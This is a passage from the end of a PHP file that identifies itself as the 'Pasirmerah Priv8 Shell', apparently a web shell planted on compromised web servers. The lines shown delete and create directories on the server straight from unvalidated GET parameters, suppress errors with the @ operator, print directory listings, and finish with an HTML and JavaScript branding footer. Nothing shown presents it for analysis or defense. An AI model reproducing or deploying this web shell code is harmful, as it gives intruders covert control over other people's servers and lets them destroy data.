7241} elseif (isset($_GET['fdelete']) && ($_GET['fdelete'] != "")) {@rmdir(rtrim($_GET['fdelete'], DIRECTORY_SEPARATOR));
7242} elseif (isset($_GET['mkdir']) && ($_GET['mkdir'] != "")) {$path = $pwd . $_GET['mkdir'];
7243@mkdir($path);
7244}$buff = showdir($pwd, $prompt);
7245echo $buff;
7246}
7247?>
7248
7249<br>
7250<br>
7251<center>
7252<br><center><br><br><div class="info">$ Art is the Soul that Moves through the Media $</div><br>
7253<div class="jaya"><b>
7254<script language="JavaScript"> Year=new Date(); var copyright=Year.getUTCFullYear(); document.write("© Pasirmerah Priv8 Shell - " + copyright); </script>
7255<b></div></center><br><br>
7256</div>
7257</body>
7258</html>
7259</html>